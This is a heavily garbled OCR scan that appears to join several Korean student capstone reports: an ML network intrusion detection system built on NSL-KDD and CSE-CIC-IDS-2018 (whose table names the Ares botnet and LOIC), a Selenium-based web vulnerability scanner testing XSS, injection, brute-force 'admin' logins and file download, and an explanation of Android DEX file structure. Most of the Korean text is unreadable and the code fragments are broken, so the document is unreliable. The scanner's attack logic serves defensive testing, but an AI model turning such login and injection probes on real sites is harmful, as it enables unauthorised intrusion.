Botnet attack Ares (developed by Python). remote shell, file upload/download, capturing One day Kall linux Windows Vista, 7, 8.1, 10 (32-bit) and 10 (64-bit)
screenshots and key logging

DDoS+PortScan Low Orbit lon Canon (LOIC) for UDP, TCP, or HTTP requests Two days Kall linux Windows Vista, 7, 8.1, 10 (32-bit) and 10 (64-bit)

[ 18 3 CSE-CIC-IDS-2018 ]
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Al 2de 452 O HO|HE YHS=X[7t &S| o|EXH0|H 7tE Oo|d& el ¢
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3.3.1 DoS

Class 2t#S HM<elot 417HX] £EF & DoS 40 Ot &t £%, K-means, RFE, Eli5
ZueEE AESI0] 58 S2EE FEoIUCL o9 207kK|2] SEY=0 sl M3 E
ot 2 27bK| Oly & 227kX|9| SEus M8

—

Weighna  Feature
0342 = 0O020 e byted

[ 2% 4 DoS K-means, Eli5 ]

index |~ | £%& | AP E AT k-meansT rfe = eli5 | =T
1|duration o o duration
3/service o o service
4/flag o o flag
5|src_bytes o o o src_bytes
6 dst_bytes o o dst_bytes
7/land o o land
8 wrong_fragment o o o o wrong_fragme
10 hot o o (et
23/count ] o o count
24/srv_count o o o srv_count
25|serror_rate o o SEEES
o — " o ® o srv_serror_rate
srv_serror_rate b ° Ry
27|rerror_rate p¢ e e

29|same_srv_rate diff_srv_rate

o
30 diff_srv_rate o o o dst_host_count
32/ dst_host_count = © dst_host_same_
34/ dst_host_same_srv_rate o o dst_host_diff_sr
35/dst_host_diff srv_rate o o o dst_host_same_
36 dst_host_same_src_port_rat o o o o

3.3.1 Probe

NSL-KDD= 417H0] EXS 7}X|0 47}X|0] 27 9802 0|20{X YLt 1= ProbeZ
|

Zo| oEUEs EXUES FESHI| QHl abs(corr[attack_type')= Ol 838 A&A 7t 0.1
Olgel EY=S QISR Eot 88 EYE2 MEHS7| o 24t2M FEEE O]

879t selectKBest2t RandomForestE AFESH0 19742 E&2 MG



sry_count
sry._serror_rate
dst_host_serror_rate
serror_rate
dst_host_sry_serror_rate
duration

srv diff_host_rate
service

count

protocol _type
dst_host_srv_diff_host _rate
diff_srv_rate
dst_host_sane_srv_rate
same_srv_rate

flag

dst_host_rerror _rate

dst _host_same_src_port _rate
srv_rerror_rate
rerror_rate

dst_host _srv_rerror_rate
logoed_in

dst _hest _srv_count
dst_host_diff_srv_rate
attack_type

a.1ne
0.137003
0.143518
0.143840
0.172034
0.184341
0.2145958
0.232685
0.248795

0.433899
0.467348
0.473075
0. 465056
0. 49905
0.506317
0.510143
0.513276
0.518808
0.533153
0.558376
1.000000

3.3.1 DDoS
DDOSE EX|st?| 2ot
GlojE Mo HE

EAE -1~1 g2z HAY

— -
Y& =sHALE

|
e

[ 212 6 Probe E7%!

o =
HEs =7
=
o
AN

=

SRS MU
o
=

c

feature importance selectKBest

W

@ 101 Zt7t=

AL o
=5 &

feature importance random forest

D ———
3 bf‘ﬂ
Dot O 5 rate

5
Y

TE]

FleiM= HOolE HXNZ| Yol HRsiLf.
== Bt d=2EE 227 ?liM & Hat
o o&LA, 101 “MtE ==

7tX|& df.corr()[&E3A-FH&].sort_values(ascending=False)2 O|&735}0

df .corr{)[ "000S") .sort_values(ascending=False)

0oos

ACKF lagCnt
Down_UpRatio
FwdSegSizeMin
Bwd | ATStd
FINF lagCnt
BedPktLenMin
SYNFlagCnt
FrdPSHF 1ags
URGF lagCnt
Bwd|ATTot
Bud|ATMax
FlowlATMin
FwdlATMin
PitLenMin
FudPktLenMin
Act iveStd
IdieMin
Flow|ATMean
FrdlATMean
ActiveMin
Act iveMax

1.000000

0.723469

0.311150

0.052687

0.004575
-0.001348
-0.003408
-0.008463
-0, 006463
-0,007623
-0,010795
-0.013204
-0.017639
-0,017648
-0,031391
-0,031398
-0.034544
-0.038241
-0,043785
-0.043818
-0.047908
-0.048021

|d1eStd

Act iveMean
|dleMean
Frdl ATStd
FlowlATStd
FlowlATMax
Fwdl ATHax
|dleMax
Protocol
FlowDuration
FwdlATTot
BwdlATMean
BwdPktLenMax
Subf 1owBwdByts
TotLenBwdPkts
tine
BwdlATMin
FedPkts_s
BwdHeaderLen
BwdPktLenStd
FlowPkts_s

-10 -

-0.050356
-0.051045
-0.051471
-0.054518
-0.054607
-0.054676
-0.054797
~0. 055571
-0.057821
-0.059035
-0.059045
-0.072481
-0.109388
-0.109493
-0.109498
-0.130305
-0.143371
-0.214014
-0.256450
-0.279081
-0.283217

000 ©05 010 0I5 020 025 030 035

2
7

Jm o2 1o rn



[ 12 7 DDoS &r2h2tA ]

COlE Ao R8% EME MESI= £ CHE WHOoRE AYME 7|8 HE Z2rEE
A8 HE ZPYAEE ALESIH A0 Eog 25 AFE EC[0M At Ha
Mol 2k 442 EM SREE JFHY += UL Ho|HMO| M¥XHoz £& 7tssl
X O8E P88 =7t QICh AtOo|ZZ 2] RandomForestClassifier ZH#HS 2 =
feature_importances_ &40 A =tolg 4= ULt

——— —— —- ~— —v— —- -
000 0oz 00e 006 oon 010 012 014
GBI Importanc ey

[ 12 8 DDoS Random Forest £E& 2% |

eli52t0|E2{2|E 0|&
S0l EMGel 5%
E42 Mot 2 g

ot Ed wE =82 UE T ZEO HF 2K SUHEE At
E A83IQICL F2E7F Otoj{AQl

o
S FTOXIXT §52 Aol g0l glt.

Weight  Feature
00023 £ 00001 Dst Port
0.0016 = 00001  Subfiow Fwd Byts
00013 = 00001 Fwd Header Len
0.0013 = 0.0001 Tot Fwd Pkts
00012 £ 00001 Pkt Len Mean
00012 = 0.0001  Subflow 8wd Pkts
00012 = 00001  Tot Bwd Plkes
00011 = 00002 Fwd Pkt Len Max
00009 =+ 00001 Subflow Fwd Pks
00009 = 00001  Fwd Pkt Len Mean
00003 + 0.0001 Fwd Pkt Len Std
00008 = 0.0001 Fwd Seqg Size Avg
D.O008 = 00001  init Bwd Win Byts
0.0008 £ 0.0001 Towen Fwd Pikts
0.0008 + 0.0001 Bwd IAT Min
0.0008 £+ 00001 Pkt Len Var
0.0008 = 0.0001 Pkt Size Avg
00007 = 00001 Pkt Len Max
0.0007 = 0.0001 2SH Flag Cnt

00007 = 00001  Bwd Header Leén
00007 = 00001 Bwd Pkts/s
0.0005 = 0.0001  Flow IAT Mean
0.0005 = 0.0001  Fwd IAT Std
00001 = 00000 Flow AT Swd

[ 13 9 DDoS Eli5 £EH 8% ]
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2l MZHXIE

3.3.1 Brute Force

Brute Forcead2 £3 F&g 7
osting 22 £E4 7+ AnTAE E—ﬁ'&?‘i .
=2 7HX|= Random Forest EA F&8

Subflow Bwd Byts

Dst Port
Time
Init Bwd Win Byts
Bwd IAT Max
Fwd Seg Size Min
ACK Flag Cnt
Flow Pkis/s
Pkt Len Var
Fwd Pkt Len Std
Bwd Pkt Len Std
Bwd Pkts/s
Fwd IAT Max
Flow IAT Mean
Fwd Pkts/s
Pkt Len Mean
Fwd Header Len

Bwd IAT Std

Zx510], 2574X|o| EXGL

2.109619e-01

4.979543e-02

4.919330e-04
3.044140e-05
1.278539%e-05
1.035008e-05
6.088280e-06
6.088280e-06
4.870624e-06

435312e-06
2.435312e-06
1.217656e-06
6.088280e-07

0.000000e+00

Fwd Seg Size Min
Dst Port
Init Fwd Win Byts
Totlen Bwd Pkts
Flow IAT Std
Fwd Pkt Len Min
Protocol
Flow Duration
Tot Fwd Pkts
Tot Bwd Pkis
Totlen Fwd Pkts
Fwd Pkt Len Mean
Fwd Pkt Len Max
Flow IAT Min
Bwd Pkts/s
Fwd Pkt Len Std
Bwd Pkt Len Max

Bwd Pkt Len Min

0.246614

0.246244

0.091865

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

Fwd Seg Size Min
Dst Port
Flow Duration
Fwd Pkt Len Max
Bwd Pkts/s
Flow IAT Mean
Protocol
Tot Fwd Pkts
Tot Bwd Pkis
TotLen Fwd Pkts
TotLen Bwd Pkts
Fwd Pkt Len Mean
Fwd Pkt Len Min
Flow IAT Min
Fwd Pkt Len Std
Bwd Pkt Len Max
Bwd Pkt Len Min

Bwd Pkt Len Mean

0.247514

0.246606

0.095358

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

0.000000

Random Forestl| X|L| =& O|EdlA Z HEo| SREE AHLHM
nces_ = O|&3I0 A=l ZLEE A6t 217tX[9] EXZ MHSHYLCE

feature importance

K

TotLen r-wd
Fwd Act Data s
Fwd Header Le!
Flow Pkts
Subflow Fwd F
Subflow Fwd Byt
Init SBwd Win 8}/

Sl;hﬂO\/ Bwed Byts

D—
Fwd Pkts/s s
Fwa Seg Size Avg m——
Tot Bwd Pkts Semm—
Toti Fv.ri D-rr
s
init Fwa Win va o
Fwd Pkt Len Ma Trm—
000 002 0.0 0.06 008 o010 012
2 E S
[ 22 11 Random Forest E& A2t} ]
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34 IjZl ©X| ==

341 =234 y| 4
HEI- .LLEJ_EHO' U|'— |_-||

A3 AEHEHO[A HE,

GHOJE ==X| =¢l

21 e gol,

a

i DtEZ FEEACE HESR AHHO[A MEY UIoM= oA CfBHo|A0| Zdsty]

o| o o A5 (- o Im o die
of A= HESNA AHHO|ASS LIESIE AMEAE o= HEKIOAM mjzls &SX|
EHSHE A O
Mg 4 ek
R YES QIEHOIA HH ? X
libpcap 1 Software Loopback Interface 1 00:00:00:00:00:00 127.0.0.7
libpcap 10 WAN Miniport (IPv6)
libpcap 11 VMware Virtual Ethernet Adapter for VMnet? VMware:c0:00:01  192.168.89.1  fe80:5de8:9193:6382:¢%¢d
libpcap 16 Realtek PCle GbE Family Controller Clevoi41:e5:4c  169.254.2240.218 fe80::1¢4:b27:2b26:f0da
libpcap 17  WAN Miniport (IP)
libpcap 18  Intel(R) Dual Band Wireless-AC 3168 IntelCor:e4:39:a0 192.168.219.106 fe80:2de1:1d73:ffc9:7ddf
libpcap 19 Microsoft Wi-Fi Direct Virtual Adapter  IntelCor:e4:3%:31 169.254.230.94 feB80::2917:22e2:c39¢:e65¢
libpcap 2 VMware Virtual Ethernet Adapter for VMnet8 VMware:c0:00:08 192.168.145.1  feB0:f40b:680f:b8a0:d076
libpcap 20 WAN Miniport (Network Menitor)
libpcap @ Microsoft Wi-Fi Direct Virtual Adapter #£2 32:23:72:e4:3%:30 169.254.24231 {eB80::3d03:9b4d:f375:18e7
[2F 12 HEYA Me Ul )
a . —_ L -+ o AL T A i E =
OOl =X =2 DIENA= MEISH HESIZ 4= diZle| £ IS4 EX| ZEO
> = S A
M NSL-KDDQ CSE-CIC-IDS 2018 HAlo| EX Zto2 HW3tEl [|O|Ho| =2 ZZto]
) E S|IAE S10|SF A O
422 BX|E 3+ =Holg = UL
7 isDogu - %
z=zag
o0 SLER S4B 2a1Ee NIDS with A.l. - made by Dogu
HE 3 ME{E L ES3 AEHO| &
18406 Intel(R) Wi-Fi 6 AX200 160MHz
NSL-KDD CSE-CIC-IDS 2018
2ME Ho|E & 108 24% Hole & 22
DoSZ EX|= 34 15 BruteForceZ EX|El 324 18
ProbeZ EX|E I 6 DDoSZE EX|El 37 5

Probe

attack

Brute Force DDoS

normal

attack

[ O 13

ZLHE U]

-13 -




23 3= = HoMe SAE 2o 2, 40| XEAS W s WA 7=
Mol 27t 7I1ZE AMAZE Zelg & QULh d2iZ=E MEsHY 2 34 EA| 220
M L2 &4, 8¢ HOolH Has AdXez =og & AL

W7 isDogu - X
==0%
W ELED A 23R NIDS with All. - made by Dogu
A =~ El a =~
MSHIfZl 7|2 HE =X E 24 He
wor TS S T U UL T LI T UTOuIs
TCP 122, IEB 2]9 1U5 HDS > 44 224 145 212443 o 2 EIRIE!] 2022-10-21 23:42:20, 197658 - Brute FU’EE (ME EG 152 38 27023 > 192 \BB 2?9 |05 1168) )
upp 192, 168,218, 107: 43915 > 239 255255 ZSU ISUU 2 EIRIE] 2022-10-21 23:42:20,679541 - Probe (162, 159,130,234:443 -> 192,168,218, 105:13327)
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3.3.1. SIdMM(LDAP, SQL, XPath)

urls = domain+";

¥PATH id =
¥PATH pw = "/
¥PATH_click

lines =

input_box = driver.find_element(By.XPATH, XPATH_ id)

12! 11 LDAP Injection AATE UL

XSS F|ofHe| 42 reflected XSS 32 7|Hez ZILIRUCL Payload O 34 FE2& A5t

S

OH
i
i

AEse o, ZHof ch3t wr20| LIENIH Flotsictn EiRCH
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3.33.

334,

¥5{domain}:

Inspection_Items =
contents

18
rek

oFst 2X1Y 2T F[AHo| AR payload O 85517 42
w2 28stol 2191 ¥3, Miulj 0{fE THTHSHC}

BF {(domain):
Inspection_TItems = "BF
contents !

urls = domain+'

¥PATH_id
XPATH_pw

.find_element(By.XPATH,

e
re
_KEYSLL)

E5z8 23
EZ 753 OI0|C|/TAQIES UARES A,

1/ button').click()

ofojc|et WAES
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3.3.5.

3.3.6.

def IA(domain):
Inspection Items =
contents = ™"

cve =
urls = "h

XPATH id
XPATH pw
XPATH_click
XPATH Mypage
X = $r A d
count = @

driver.get(urls)

input box = driver.find element(By.XPATH, XPATH id)
input_box.send keys(“admin")
input box2 = driver.find_element(By.XPATH, XPATH pw)

input_box2.send keys("a
driver.find element(By.XPATH, XPATH click).click()

t
driver.find_element(By.XPATH, X).click()
driver.find element(By.XPATH, XPATH Mypage).click()

UnexpectedAlertPresentException:
time.sleep(1)
count += 1

E3E8 27t

oup . Find(
href.find(

1i.append({num[1]

| =522 Md D7t 2300 H/Z RE SUSHH A8 B2 FY
2

A
a
StCta EHEHSHCE AFEXF 2791 Al DFE MM ID 7} HFEl= 42 HIQ7kRte] 2 &
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SF(domain):
Inspection_Items
contents

XPATH naw
XPATH logout =

ver.maximize window()

input_bo find element{By.XPATH, XPATH id)
input_box. |_key 3

input_box

input_box2.send_keys(

driver.find_element(By.XPATH, XPATH click}.click()
driver.switch_to.alert

33.7. X=3 24
A5 B Fope HiEmHel iy B2 FWstel 219l
C

urls = domain+"/1

XPATH_id

Al
=

r.find_element(By.XPATH, XPATH click}.click(}
driver.switch_to.alert

oj7t 5 3| ol&to] Hof7tH F|oF
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3.3.8.

3.3.9.

in line:
line[i] = line[i].strip{"%n")
i=i+1

5
tex
(=

length.append(lenires)}

218 ZEMA A

ol
i
Ju
e
|>
2l
In
ne
Hr

T CI2EE
Tfel CHREC Fofmel 29 TS CH2RCE of TaolM Y Tidel Z2E CHE Tl ¥

EZ HHAS o ool C2EEX|0f et 45, dujj 0|2 ETHch

FD{domain):
Inspection_Items = "Fil

= domain+'
driver.get{urls)
a_tag = driver.find_element(By.TAG_MAME,
a_tag.get_attribute('href')
href_text

down_url = href[:-1]
down_url? = down_url +
dri .get (down_url)




3.3.10. #2[X} HO|X| &

#a[XF HO|X| =& FofH2 URL B=20| /F35t7| #|2 Z=ZE payload 2 Z45t0] 3T 0|
=

R

X|2| HTTP At

AE (domain}:
Inspection_Items =

writer.addP
writer.addP

contents = urls

1 {Inspection_Items, conmtents.s

o]

D220 #2%L HO|X] eE AATE UL

i

4.

my

=

4.1. 48 st

tol

@ 43 3

Main.py & Al Bt FO[ALY, ZITH =7 MH|AE Z{siC.



19

Ql245t1, AF2Xt Email E3f OTP 2158 ut

HEAIE & FFH 7HOI=0] &3l U= 1271K] &=50]| ohet FES
5ta, Zntet Zx|Eetof| st PDF HAM7t S ECh

[= =

blink. fidget

nt_client.cc

didget

int_client.cc

blink.

Admin_Page

=» ZIE|



4
ne
rlo
2
e
0
(=]
=
=
~
w
~

BE  HME® EHg  @aW Amyn 9

12l 23 ASH5HM-1(0TP)
® select: 2 (&1} X3|)

MEXIZt Ysts E2, Tt

ZADo|| Cfdt EOME AF2X} Email2 ®'E & QUL

[

capstoneB<®l #2t& Flck Mu|A>

(e

~  HUIALS <otpcapstonet@amal. com>

gk a2k Lditmdwod@naver. com>

<« ] ot Magrel 271 (BMB)

3 a Action Method Guide(22-14-18) pdf
+ ﬂ Action Method Guide(23-26-19), pdf

capstonef<Y F ol T 20M> HRE I 2HE &ola 241

N

07 25 HASIH-2(EuM HIB)




21

castanet

® Select: 4 (=3 A7H)

o) cHet 2Ea

11 - File Download :

o

[l A

dmin Page Exposu

oY

01714216 C

91714,

9191483




2|0 AT

T

Aol

AL

S
i)

=5of of

® Select : 5 (Help)

o
o
o
1=
=]
£
7
(=
@

Kir 3.
! ._”_l | 0
N OF
i Ho
_Al_ mlg
~ KO Y
g ol <
g *F o
§ il o
= ol KO
g or!
: ~ 0o o o ¥
o z 00 o
o of = B op oF
<l W o 5
= RO0TO@ o of KO
° RO O W o
= o Komog
< or o B E oy
n K K K T F
o)
® ilof
=
=l
~N
o
<

4 x| mtef 2 ChH

Al
o

22



 For
xS g £ A

6Z (K&|7} # = UNZE?)

2022.11.1

- D2HE TG Uy

= XS Y = HE

« | ALO|E(test bed) H|Z}
= PDF 231M H|Z

@ Z2HE Ao}

= Za s
- Aol gy
= 7| &3}

E

al o

x =240
Z2xE XN U 25
CCPE L PR




24

ZENEHiZ ¢ ey | Z2E AR

| 52 2 eaxte 442 8 W Ao =ojA2l HUHE Hsh A0 L HT A47} Ligo] B2t

(EX : KISA ZHQI ™S Faf M- YE4

SN 15819,255 /
17847.457

162H4,497

1088,122
110000 9818,210

2016 2017 2018 2019 2020

@ HoIHE Q& Wso] 75%7t 2|5 s4240] elojoi,
7h3t #loket MOIARE] AR

<@

F2hOHA S
53| ALo|t] HollAl= Crst AR ALL7H

7|YE HRIES | Heotol

@ HAO|EE AZRISH) &4
ZZH8 JIxjop &

= @E|0] 27| Wh20f 2ot AL RARI0) LY

<@

Z2HE A 2 8% r2zusne

| 58 =78 olgs mgxel W BE

“ WY RS ML EE 0[BT FAW WG U HAM AR 7

%

ME Fory

Xl A

T Fory Mo
4 9% et o oy stof
SN e b Az
BE A7 H o B 11{?;71?

L TCE] U 47 Y EIAE Y At0|E HE
i AHE e £
ED SM A% Y EAE ¥ AOIE HE
LEE:] s HE R M
ojzlg s HE R T
ERE AE FE ET 7Y U Y BN EHY
25 FREYLELT|HAIY B HobY ¢




25

Iz

NE X|

o

Al

Z2HE AME
T2dE Fguhy

At Fh £ A

2 ALO|E(test bed) M|Z}
PDF 2 31A{ ®|xt

Z2HE JHE

| Asuess =2u=0 o Ay Y=

@ OTP Q5SS S8 Q@ =78 0|88t
ML 21T  Flery et
il Y, As T
AL @ PDF ZIEt BN 3
@Y HaE S8t EX|Yet FF
HIM ®iZ
PDF 2114 ]
v
000
EEH}E ﬂ@ %Hﬂ 2,3;?5&!!

| 4 2= vl B8 - HAE M= E, XS HE EF HEH, 2O

1. & AHO| E(Test Bed) H|Zt 2 XHE FICHE 3 AHIE

e
v

| R 1 e

1. AbS T =7 HAE Y
2. @l APO|Eoj CiEt @2 mpot
3. HeEe 2osiE 97 B

FFES Al 210|E 7|
ch4 AfolEe] &Sl FlchE

Az

e

E=OZ
°
]

18

3. H0M HE

MEXIfAH 2Lt FEst HOME
HBaHF7| 218




£l ALO|E H|=F 2 mEME Y
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R (Y
equest JRp—— —r -_
—_— —— ot —_— UU
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Client Response B i il Database
Index.php ‘ admin.php ‘
| mypage.php ‘ login.php ‘ join.php ‘ write.php ‘ view.php ‘ search.php ‘

‘ login_action.php ‘ join_php ‘ write_action.php ‘ edit.php search_rslt.php

- 10721 -
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7 XPath 2154 20 st 34
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As ot =3 HE 2 mEuE Ay

| Of|A|1 - XSS(AZAAIO|EATYE]

sdomains

Reflected XSS &7 7|4 ZFich
Payload 0 22 112 Ztd £ 32 Al > €kS LIELY A|, F|ofsicta get

RS BT £ I -

J oz - ma 2y

2391 A W2 MM ID 7F 29 W/F 2F SUSH ABE FR Y
SiCta =t
URLOJIA T2(0|E] 218 HESI0 34 5 43, i 0% ghet

.,_
m

spen(urls).read()

(sourcecode, )

).find_all(

£
URLO|IM mf2tolE| Zte HESI| 32 9 43, dujj o{% gt
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5.2. Github

https://github.com/98sseung/capstone6

o2

o

https://blog.lgcns.com/m/2787
https://www.boannews.com/media/view.asp?idx=104160
https://www.sharedit.co.kr/posts/5716
https://aws.amazon.com/ko/what-is/python/

https://Its0606.tistory.com/m/555
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2.1 C¢tERO|E
2.1.1 APK =
APK(Android Application Package)= 9tEZO0|E9| AZEQ0{Qt O/ 0 HIZO| At
8il= 7K THUO|H, "apk'&IAHE ZHTICL o ZIPHEY 7|8EQl JARS 7|Ete 2 B}
= Y= ool FFF StLo|Ct
ol2{st % w9l APKE CHS 1 &2 = Ql
® AndroidManifestxml : OfZ2[#0[H0f Ciot Fa FE@Z|X| O|F, ofEF2[AH0[H F
g 2, JdsteH East Hot A AMA

® META-INF : 215 HEI 2ot 24
b AL

® assets : ¥ HAO| Tt X0l ZoU= CHEZRE F2 Y, L7 A HE
2ot 20| 80| 2 HOIHE 7HX| 1 lon, —RET E[X| Y=Lt

® res: ¥ WO Tt A0l HOQUs CIHMESZ HEA ZX D0 =L 4
K=l et

® kotlin : O4Z2|H[0[40] RETUCR FAME AL MNED, DSUM BUE HO|E
7b Z3te|of Ut

o

of
ot
o

resources.arsc : AULtYE 2[AAE I
® classes.dex : DalvikO| QIAlI&H £ QI
|

Ez #Hgh & A4 oY

v Android_APK
META-INF
v res

drawable-hdpi-v4

drawable-mdpi-v4
drawable-xhdpi-v4
drawable-xchdpi-v4

Extract hiyouk

menu

Android_APK.apk Android_APK apk zip

META-INF
res

*| AndroidManifestxml
classes dex

resources.arsc

A%

[ 23 5 APK Y& 1% ]
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2.1.2 DVM, ART
DVM(Dalvik Virtual Machine)

E MAF

o HIQY 7|7 Bd4 HiHE| =%, AFE mig & H=Z227F HA3E g0 i) &
oSt7| W20 ZHEY 77| 280 X L= Tt oA
o JIT Ay ALE
o XtFE AR5z F20| CHsl 02| HMYSHo 7|A 02 siMsis7| M0 4 452 A
Z = Ut
o QIE{Z2[E WAlOo=Z HAMSICE HES A|FHO| HO|EZE TME AHMYSHO] H|OJE|E AE=R
Hgsta, o|F0= QAHIZZ|Y SHX| @0 HO|E[E AEZ AF HAS= LA
e ot 17y
B dexoptZte= ETE AFEY| dex IHYZE odex LS THELE

ART(Android Runtime)

o OICEO|E OjZE|Ao|M ELY BHOE MERE CHZY J|51 F o FES 14

o OfE2|AH 0| Z2mE 7|5 S
o = A7

® Android 44 (APl 19)0A] S S, = (DVMIt MEHH AtE

® Android 5.0 (APl 21) O|F, 7|2 REtC =z X|H

® Android 7.0 0|22 AOT + JIT
e AOT ALY ALE
e X AF0| O|Ol AnYE &A= Z[A 0= &S EH
o A Al M b gio] ZHE 7[A 0 ™
e I 1d

m AOT ALY A| dex2oat2tes =15 AMEYl dex Y2 odexZ BHATH £ SHH [ oat It

2 st
m oat It22 Native machine codeZE &[0 7| IE0 VM 10| H& 7I&SIX| 2t Dalvikate|
519 z2HE HBoF 817 IR0 VM 0N =07t A M3 A =Ct

JAVA (*java)
JAVA Compiler
Bytecode (*.class)

. .

Dalvik ART

[ Dalvik Code (.dex) J4{ APK

) [ ]

]

et |

]

™)

AOT
(Ahead-Of-Time)
Compiler

JAVA Runtime
System

ART
(Android RunTime)

zp
Trace JIT
(Just-In-Time)
Compiler

J

JIT (Just-In-Time)
Compiler

Machine Code

—

a2 6 DVM, ART, JVM Ao 114 |

==
a i
dexopt

produce
optimized dex file

Runtime

1 -
v
dex2oat
dex transform to
odex
odex transform to
oat




2.2 YA (DEX)
221 HA Ax
HIOIE ZEZ FHEAA2N, M 7K F=Q@EIH, AlE, HojE) MMez O|F0iN
oIr}.
e & MM . HA meol EMIAY, 37|, LEM )0 MTEO ULt
e OO Al#H MM . AHEX MMl FolEl S22 (string_ids, type_lds, proto_ids,
field_ids, method_ids, class_defs) 6702 A& S=0| ZatL|0f QUCE

W string_ids : S|~ Ot WHO|A AEots 2ZE ZAEE MEots B9

B type_ids : string_ids SO M A2 §4= MYt U= Y
W proto_ids : ¥ It LHOIM g2 =& MYstn Us Y

m field_ids : E2f22| O|F, EtQ, S22, 7K O[E2 MEst= F

® method_ids : HAI=2| O|F, EtY, &%, Feli& 0[F2 MEsts Y

W class_defs : SEH A0 CHEE THMXN el ZEo HO[EO Ciet 7|= JEE XNEste E4
e [GOjE M43 : HIO|E REet AHE FE7F HEEO QL.

Header —{ |  header

i string_ids
type_ids
proto_ids
field_ids

method_ids

class_defs

Data

annotation items
code items
annotation directory
Data interfaces
parameters
strings
debug items
annotation sets
static values
class data

link_data

Data
identifiers —

[ 138 92 7% |



222 YA EH

DEX TS| 7bE X HEO| header PXZ EQISHLH CrSTH ZLCh
ot ofj= ' (File Magic Number) - 8HIO|E
e Of|Tt mYUo| 22 mUCIK| YT 2

o XNZ0| dex2t= HAEQ BT Bt EX

Cffset (h) 0% OB OB OC OD OE OF Decoded text
0 A5 68 FB G2
16 B8 8B 24 0&
0o b€ 34 12 0o
0o 53 00 00
98 : 00
70 00
22 i)
45 00
el 0o
A 00 00 45 04 1&
A 16 00 68 04 16 O 00 83 OA 16
A 16 00 BC C& 16 00 DE O& 186
A 16 00 E5 0A 16 O 00 FO ORA 186
A 16 00 ©C OB 16 0 00 36 OB 1& Oaiata il i i &
[ 2149 g8 ]

H| 3 M (Checksum) - 4H}O|E
o ofig mUO| X A=K &0lst= &
a

e L% HIOIE g{0] &H& B MI=ZH0| XX @O} Android FrameworkO|A| apk EX]|

—

g5

Offsec (h) 00 01 02 03 04 05 06 07 08 09 (A OB OC 0D OE OF Decoded text
Q0000000 €4 5 T8 04 30 33 350 00 Egeta-itias 76 ZE 76 C2 dE:{.OBE.{.Vﬁ
00000010 DD 3F B3 76 88 3D AF 25 D1 BS 8B 24 E4 Al 55 06 Y¥?3vw~= 3W, <Sa;¥.
00000020 1C 18 21 00 70 00 00 0O 78 56 34 12 00 00 00 00 ..!lip...EV4.....
00000030 OO0 00 00 0O 40 17 21 00 OC 53 00 0O 70 00 00 0O ....@.'..5..p
00000040 7 08 00 00 A0 4C 01 OO 46 0D 00 00 3C €E 01 00 g... L..F...<n
00000050 S8 2ZC 00 B4 02 0 BD 3E 00 00 44 72 03 00 ", ..u---">..DE..
00000060 7O OS5 00 0O C% &7 05 00 58 0Z 1B 00 C4 15 06 00 p...Ag..X...A
0C00007D 22 08 le 00 24 08 1le 00 57 08 le 00 96 08 le B e W e
00000080 5% 08 l1le 00 AT 083 le 0O BS5 08 16 00 BC 03 1le il - R

[ 23 10 Al=24 |

Al AL X (Signature) - 20H}O| E.
e 2o OfZE HH, M3 2|1 ADLME Hlst F&22 SHA-1 sHA| 20| oS
DRSHA AldstE O AL

Offsec(h) 00 Ol 02 O3 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000
00000010
00000020 00 78 5
00000030 ©O0 00 00 (¢ } OC 53

00000040 &7 03

g 46
00000050 98 2C 00

oD 02 00 BO 3

00000080 70 OS5 00 OO 05 00 58 02 1B 00 C4 15
00000070 22 083 1le OO0 1& 00 57 03 le 00 96 03
noAOOnen oo oo 1E A0 BT 0S8 1E O E no 15 nn ~ _na

[ 23 11 AIZYA ]

- 10 -



ot 3 7|(File_size) - 4H}O|E
e IOl 37| YefFe BE

e 2S dACio Ao YEOf YU

Offset (h) 00 01 02 03 04 05 06 07 08 09 OR OB OC OD OE OF Decoded text
00000000 64 €5 78 OA 30 33 35 00 50 AS €9 FB 7B 2E 76 Cz dex.035.P¥ia{.vh
00000010 DD 3F B3 76 88 3D AF 25 D1 BE 8B 24 E4 A1 59 06 ¥2°w"= s, ¢5&;Y.
00000020 70 00 00 00 78 56 34 12 00 00 00 00 [[i0p...xV4.....
00000030 00 00 00 OC 40 17 21 00 OC 53 00 00 70 00 00 00 ....B.!..5..p...
00000040 €7 OF 00 00 AD 4C 01 00 46 0D Q0 00 3C €E 01 00 g... L..F...<n..
00000050 98 2C 00 OC 84 OD 02 OO0 BO 3E 00 00 44 72 03 00 ~,......°>..Dr

OO0O000£0 N 0% OO0 00 ¢4 £7 O 00 Sf 02 TR OO0 4 L _OfF OO0 G ra¥a-d X h

[ 2™ 12 o2 377 ]

HEe oY 37| gYo|ct @ WEg2 Z|E ACIQt gAaoz MR oM,
H™ 0x0021181cO0|H, O|ZHS 10%I+2 BSSIH 2168860 HIO|EZts ZHE =

N ot Ok
or 2t on

StCE.
Q | classes.dex ‘
o AL DEX EH2 (. dex)
o - e = e sg s B0
= C:WUserswgkdrwOneDrivewtt 2 =t Hwfor a
37; 2.06ME (2,168,860 HHO|E)
CiA3 == 37): 2.07MB (2,170,880 HIO|E)

[ 23 13 AA ot 377 |

sl 37|(Header size) - 4HIO|E
o GO AV|E ENFH, 7t2 0x702 2 “JsA UCE.

Offset(h} OO 01 02 03 04 O5 06 07 OB 0% On OB OC 0D OE OF Decoded text

00000000 &4 €5 78 OA 30 33 35 00 50 AS 65 FBE 7B 2E 76 CZ2 dex.035.P¥iaf.vA
00000010 DD 3F B3 76 88 3D AF 25 D1 B8 8B 24 E4 Al 59 06 T¥?3v = 3H_ <S5&;Y.
00000020 1C 18 21 00 pueiveusiypslsy 75 56 34 12

00 00 00 00 ..!.pa.Jxv4.....
70 00 00 00 ... I . T

00O00O0030 00 OO 00 OO 40 17 21 00 OC 53 00
3C 6E 01 00 g... L..F...<n..

00000040 &7 OF 00 OO0 AD 4C 01 OO 46 OD 0O

[ 23 14 319 37] ]

QIC|Qt Ef 1 (Endian_tag) - 4HIO|E

il
ol

—

e O|MO| AV|E F& 420 2|& AC|er HAo=Z F|of QJUCtD AZSHFU =0, &)
Y™ s 222 = elIstCt
® 12345678F I|0f QUCIH Hl QC|QH 78563412 &0 QYO ™ 2| E QAMC|Qt

_'I'I_



Offset(h} OC 01 02 03 04 OS5 06 OT OB O9 0OA OB OC OD QOE OF Decoded text

00000000 76 C2 dex.035.P¥iti.vAd
00000010 g T2ew-= &N, c8&;Y.
00000020 .p.
00000030 ce. @
